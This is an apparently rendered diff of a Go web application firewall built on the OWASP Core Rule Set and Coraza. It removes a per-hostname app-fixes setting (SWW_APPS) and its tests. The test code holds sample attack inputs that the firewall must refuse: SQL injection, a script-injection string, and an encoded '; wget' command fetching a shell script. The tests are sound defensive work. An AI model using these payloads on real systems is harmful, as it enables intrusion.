return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
hostname = strings.ToLower(strings.TrimSpace(hostname))
if hostname == "" {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
if !isZone(hostname) {
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
}
if _, listed := apps[hostname]; listed {
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
}
names, err := parseList(list)
if err != nil {
return nil, err
}
if len(names) == 0 {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
for i, name := range names {
if !slices.Contains(coreruleset.AppNames(), name) {
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
strings.Join(coreruleset.AppNames(), ", "))
}
if slices.Contains(names[:i], name) {
return nil, fmt.Errorf("%q %w", name, errListedTwice)
}
}
apps[hostname] = names
}
return apps, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set // parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to // rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID. // lastSetupRuleID.
@@ -2545,8 +2455,7 @@ func MaskZoneKey(zone string) string {
return masked + "." + rest return masked + "." + rest
} }
// isZone reports whether each label of zone is as parseZones takes it. It // isZone reports whether each label of zone is as parseZones takes it.
// also checks the hostnames of SWW_APPS, which are DNS names too.
func isZone(zone string) bool { func isZone(zone string) bool {
for label := range strings.SplitSeq(zone, ".") { for label := range strings.SplitSeq(zone, ".") {
badChar := strings.ContainsFunc(label, func(char rune) bool { badChar := strings.ContainsFunc(label, func(char rune) bool {
-96
View File
@@ -89,7 +89,6 @@ const (
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE" exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
apps = "SWW_APPS"
trapPaths = "SWW_TRAP_PATHS" trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD" errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL" logRemoteURL = "SWW_LOG_REMOTE_URL"
@@ -583,100 +582,6 @@ func TestCoreRuleSetSettings(t *testing.T) {
} }
} }
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
func TestApps(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want map[string][]string
}{
{environment{}, nil},
{environment{apps: ""}, map[string][]string{}},
{
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
map[string][]string{
"git.example.com": {gitea}, "cloud.example.com": {gitea},
},
},
{
environment{apps: "cloud.example.com:gitea,wordpress"},
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
},
} {
cfg := fromEnvironment(t, tc.env)
if !reflect.DeepEqual(cfg.Apps, tc.want) {
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
}
}
}
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want string
}{
{environment{}, `"` + apps + `":null`},
{environment{apps: ""}, `"` + apps + `":""`},
} {
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).
Info("starting", "settings", fromEnvironment(t, tc.env))
if !strings.Contains(out.String(), tc.want) {
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
}
}
}
func TestInvalidAppsStopsTheStart(t *testing.T) {
t.Parallel()
const (
notEntry = " is not a hostname, : and a list of apps, " +
"such as git.example.com:gitea"
notHostname = " is not a DNS name such as git.example.com"
)
for _, tc := range []struct{ value, want string }{
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
{"git.example.com:gitea;", `""` + notEntry},
{":gitea", `":gitea"` + notEntry},
{"git.example.com:", `"git.example.com:"` + notEntry},
{"*.example.com:gitea", `"*.example.com"` + notHostname},
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
{"git example.com:gitea", `"git example.com"` + notHostname},
{
"git.example.com:gitea,nextcloud",
`"nextcloud" is not an app sww has fixes for; ` +
`the apps are drupal, gitea, mediawiki, wordpress`,
},
{
"git.example.com:gitea;GIT.example.com:gitea",
`"git.example.com" is listed twice`,
},
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
} {
t.Run(tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
want := apps + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestWAFBodyLimitOf64K(t *testing.T) { func TestWAFBodyLimitOf64K(t *testing.T) {
t.Parallel() t.Parallel()
@@ -2684,7 +2589,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
wafExemptPaths: "", wafExemptPaths: "",
wafBodyLimit: off, wafBodyLimit: off,
exclusionsFile: "", exclusionsFile: "",
apps: "", // logged as null, which decodes as ""
trapPaths: "", trapPaths: "",
errorBurstThreshold: "30", errorBurstThreshold: "30",
logRemoteURL: "", logRemoteURL: "",
+78 -116
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its // method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww // body while SWW_WAF_BODY_LIMIT is set, with the ten changes sww
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in // makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings" // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// in SPEC.md describes them. It reads no response. // response.
// //
// sww writes only to its state directory, so Coraza is built with // sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a // its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,8 +16,6 @@ import (
"errors" "errors"
"fmt" "fmt"
"io" "io"
"maps"
"net"
"net/http" "net/http"
"net/netip" "net/netip"
"os" "os"
@@ -34,8 +32,9 @@ import (
// directives are the Core Rule Set as sww runs it, with the // directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while // paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the // SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// directives of every app in apps for the third. // giteaExclusions for the third, wordpressExclusions for the fourth, and
// drupalExclusions for the fifth.
// Each rule sww adds has an id from 900000 to 900999, the ids the // Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which // Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -83,28 +82,50 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too. # before the rules of phase 1 too.
%s %s
# The apps' fixes come before the rules for the same reason. # The eighth change comes before the rules for the same reason.
%s %s
# The fifth: only the rules for requests are loaded, and no response is # The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected. # inspected.
Include @owasp_crs/REQUEST-*.conf Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or # The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here without regard to case. # localhost. Coraza matches a parameter name here, and in the fourth,
# ARGS holds the fields of a form data or multipart body Coraza reads as # without regard to case. ARGS holds the fields of a form data or multipart
# well as the query parameters, so a field of this name is left out too. # body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri" SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri" SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: Referer is not checked for a Unix command without arguments, # The fourth: the query parameters in which gitea sends names within a
# for Java starting a process, or for a Java class name. 944130 refused # repository or its own records, or a page of its own site, are not
# every page opened from the page of java.lang.String.md. # checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The sixth: a container image push that reuses a layer names the image # The seventh: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not # it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from # checked for command names. 932260 refused the push of a layer from
# owner/python3-app. # owner/python3-app.
@@ -154,49 +175,32 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
` `
// app is an app whose ordinary requests the Core Rule Set would refuse, // giteaExclusions are the eighth change: the fields of gitea's own
// with the fixes that let them pass. // requests that skip the rules that refused them there, as Coraza
type app struct { // directives.
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
}
//go:embed gitea.conf
var giteaDirectives string
//go:embed wordpress.conf
var wordpressDirectives string
//go:embed drupal.conf
var drupalDirectives string
//go:embed mediawiki.conf
var mediawikiDirectives string
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
// //
//nolint:gochecknoglobals // a constant cannot be a map //go:embed gitea.conf
var apps = map[string]app{ var giteaExclusions string
"drupal": {directives: drupalDirectives},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mediawiki": {directives: mediawikiDirectives},
"wordpress": {directives: wordpressDirectives},
}
// AppNames returns the names of the apps whose fixes sww has, in // wordpressExclusions are the ninth change: the fields of WordPress's own
// alphabetical order. // requests that skip the rules that refused them there, as Coraza
func AppNames() []string { // directives.
return slices.Sorted(maps.Keys(apps)) //
} //go:embed wordpress.conf
var wordpressExclusions string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
@@ -212,10 +216,6 @@ type Params struct {
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none. // there is none.
ExclusionsFile string ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
// apps only, or of every app while Apps is nil.
Apps map[string][]string
} }
// The ids of sww's own rules, which an exclusions file may not // The ids of sww's own rules, which an exclusions file may not
@@ -307,15 +307,13 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct { type CoreRuleSet struct {
engine coraza.WAF engine coraza.WAF
bodyLimit int64 bodyLimit int64
apps map[string][]string
} }
// New returns the Core Rule Set with the six changes and the apps' fixes, // New returns the Core Rule Set with the ten changes, at params'
// at params' paranoia level, without the rules it switches off, reading // paranoia level, without the rules it switches off, reading request
// request bodies up to params' limit, and with params' exclusions file // bodies up to params' limit, and with params' exclusions file loaded
// loaded before the Core Rule Set's rules. An exclusions file is an error // before the Core Rule Set's rules. An exclusions file is an error if it
// if it cannot be read or does not parse, or if checkExclusions refuses // cannot be read or does not parse, or if checkExclusions refuses it.
// it.
func New(params Params) (*CoreRuleSet, error) { func New(params Params) (*CoreRuleSet, error) {
body := "" body := ""
if params.BodyLimit > 0 { if params.BodyLimit > 0 {
@@ -338,13 +336,8 @@ func New(params Params) (*CoreRuleSet, error) {
} }
} }
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions, text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
fixes.String()) giteaExclusions, wordpressExclusions, drupalExclusions)
if len(params.DisabledRules) > 0 { if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules)) ids := make([]string, len(params.DisabledRules))
@@ -362,9 +355,7 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err) return nil, fmt.Errorf("load the Core Rule Set: %w", err)
} }
return &CoreRuleSet{ return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
}, nil
} }
// Result is what the Core Rule Set found in a request. // Result is what the Core Rule Set found in a request.
@@ -376,12 +367,11 @@ type Result struct {
Score int Score int
} }
// Inspect runs the Core Rule Set on r, a request from client, with the // Inspect runs the Core Rule Set on r, a request from client: on its
// fixes of the apps appsFor names for r's hostname: on its method, its URL // method, its URL with the query, and its headers, the Cookie header
// with the query, and its headers, the Cookie header without those apps' // without the cookies in cookiesNotRead, and on body, r's body as the
// cookies, and on body, r's body as the caller has it, as readBody reads // caller has it, as readBody reads it. It returns what it found, what it
// it. It returns what it found, what it read of body, and the error that // read of body, and the error that ended the reading early, if one did.
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect( func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader, r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) { ) (Result, []byte, error) {
@@ -389,24 +379,13 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none. // Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }() defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0) tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto) tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header { for name, values := range r.Header {
for _, value := range values { for _, value := range values {
if name == "Cookie" { if name == "Cookie" {
value = withoutCookies(value, cookiesNotRead) value = withoutCookiesNotRead(value)
if value == "" { if value == "" {
continue // it held those cookies alone continue // it held those cookies alone
} }
@@ -499,26 +478,9 @@ func score(tx types.Transaction) int {
return n return n
} }
// appsFor returns the names of the apps whose fixes a request for host, // withoutCookiesNotRead returns value, a Cookie header's, without the
// its Host header, gets: every app while SWW_APPS is unset, and otherwise // cookies in cookiesNotRead.
// those SWW_APPS lists for host's name, without the port and in func withoutCookiesNotRead(value string) string {
// lowercase.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.apps == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
return c.apps[strings.ToLower(hostname)]
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
var kept []string var kept []string
for cookie := range strings.SplitSeq(value, ";") { for cookie := range strings.SplitSeq(value, ";") {
+30 -276
View File
@@ -25,43 +25,14 @@ import (
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140} var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// loaded holds, for each set of settings the tests have asked for, the // newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// function that loads the Core Rule Set with them once. // the rules in disabled switched off.
// func newCoreRuleSet(t *testing.T, level int, disabled ...int) *coreruleset.CoreRuleSet {
//nolint:gochecknoglobals // the tests share it
var loaded = struct {
sync.Mutex
loaders map[string]func() (*coreruleset.CoreRuleSet, error)
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for. %#v writes a nil
// Apps, which gives every app's fixes, apart from an empty one, which
// gives none.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock()
defer loaded.Unlock()
settings := fmt.Sprintf("%#v", params)
load, found := loaded.loaders[settings]
if !found {
load = sync.OnceValues(func() (*coreruleset.CoreRuleSet, error) {
return coreruleset.New(params)
})
loaded.loaders[settings] = load
}
return load
}
// shared returns the Core Rule Set with params, loaded once for every
// test that asks for the same settings.
func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
t.Helper() t.Helper()
crs, err := loaderFor(params)() crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: level, DisabledRules: disabled,
})
if err != nil { if err != nil {
t.Fatalf("load the Core Rule Set: %v", err) t.Fatalf("load the Core Rule Set: %v", err)
} }
@@ -69,17 +40,6 @@ func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
return crs return crs
} }
// sharedCoreRuleSet returns the Core Rule Set at paranoia level level,
// with the rules in disabled switched off. The set is shared with every
// test that asks for the same settings.
func sharedCoreRuleSet(
t *testing.T, level int, disabled ...int,
) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled})
}
// TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a // TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a
// WordPress request at once, many times over, on one Core Rule Set, as // WordPress request at once, many times over, on one Core Rule Set, as
// sww's server does. Each passes only while its own exclusions apply. // sww's server does. Each passes only while its own exclusions apply.
@@ -200,12 +160,12 @@ func matched(ids ...int) coreruleset.Result {
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet { func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper() t.Helper()
return sharedCoreRuleSet(t, 1, defaultDisabledRules...) return newCoreRuleSet(t, 1, defaultDisabledRules...)
} }
// wantChange checks that crs lets through passes, a request one of the // wantChange checks that crs lets through passes, a request one of the
// six changes or an app's fixes are for, and still finds result in // ten changes is for, and still finds result in refused, a request like
// refused, a request like it that they are not for. // it that the change is not for.
func wantChange( func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request, t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result, result coreruleset.Result,
@@ -435,8 +395,8 @@ func TestParanoiaLevel(t *testing.T) {
// Accept-Charset is refused from paranoia level 2. // Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8") r := get("/", "Accept-Charset: utf-8")
wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{}) wantResult(t, newCoreRuleSet(t, 1), r, coreruleset.Result{})
wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451)) wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
} }
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) { func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
@@ -446,9 +406,9 @@ func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
// which adds 3. // which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}} r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, sharedCoreRuleSet(t, 1), r, wantResult(t, newCoreRuleSet(t, 1), r,
coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8}) coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{}) wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
} }
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) { func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
@@ -466,123 +426,6 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
matched(930120, 932160)) matched(930120, 932160))
} }
// giteaFixed are gitea requests that only gitea's fixes let through, one
// for each kind of fix, each with what the Core Rule Set finds in it
// without them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaFixed = []struct {
request request
result coreruleset.Result
}{
// A search of code, on the path of gitea's search.
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
// A file name, in a parameter gitea sends names in, on any path.
{get("/?path=.gitignore"), matched(930120)},
// A file name, in a cookie of gitea's.
{
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
}
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
// one that serves another app.
const (
giteaHost = "git.example"
otherHost = "blog.example"
)
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
// wordpress is WordPress's name in SWW_APPS.
const wordpress = "wordpress"
// withHost returns r sent to host.
func withHost(r request, host string) request {
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
}
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
// giving apps.
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
})
}
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, nil)
for _, fixed := range giteaFixed {
for _, host := range []string{giteaHost, otherHost} {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
// The hostname is matched without the port and without regard to case.
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
t.Parallel()
for _, apps := range []map[string][]string{
{giteaHost: {gitea}},
// SWW_APPS set empty lists no hostname.
{},
} {
crs := servingApps(t, apps)
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
}
}
}
}
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
// A search, which only WordPress's fixes let through.
search := get("/?s=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
// A file name that only gitea's fixes let through, and a search that only
// WordPress's fixes let through.
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
}
}
// withExclusions returns the Core Rule Set at the defaults, with the // withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path. // exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) { func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
@@ -731,43 +574,6 @@ const (
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E" scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
) )
// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused by defaults, which
// reads no body, or by bodies, which reads it. Each request runs as its
// own parallel subtest.
func wantRecordedRequestsPass(
t *testing.T, name string, defaults, bodies *coreruleset.CoreRuleSet,
) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
r := request{recorded.Method, recorded.Target, recorded.Headers}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
}
})
}
}
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) { func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel() t.Parallel()
@@ -794,25 +600,6 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
} }
} }
} }
// gitea has no owner named api, so these are not a repository's search,
// issues or pull requests. /api/v2/search is Mastodon's search.
for _, path := range []string{
"/api/v2/search",
"/api/v2/issues",
"/api/v2/pulls",
} {
for _, attack := range []string{
sqlInjection,
scriptInjection,
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
} {
target := path + "?q=" + attack
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
} }
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
@@ -870,9 +657,14 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet { func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper() t.Helper()
return shared(t, coreruleset.Params{ crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
}) })
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
} }
// wordpressAttackTargets returns attack in a query parameter no exclusion // wordpressAttackTargets returns attack in a query parameter no exclusion
@@ -930,20 +722,14 @@ func wordpressAttackTargets(attack string) []string {
} }
} }
// wantWordPressRequestsPass checks that the recorded ordinary WordPress func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
// requests pass defaults, which reads no body, and that those with a body t.Parallel()
// pass bodies, which reads it.
func wantWordPressRequestsPass(
t *testing.T, defaults, bodies *coreruleset.CoreRuleSet,
) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") { defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
r := request{recorded.Method, recorded.Target, recorded.Headers} r := request{recorded.Method, recorded.Target, recorded.Headers}
crsSets := []*coreruleset.CoreRuleSet{defaults} crsSets := []*coreruleset.CoreRuleSet{defaults}
@@ -957,18 +743,7 @@ func wantWordPressRequestsPass(
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got) t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
} }
} }
})
} }
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
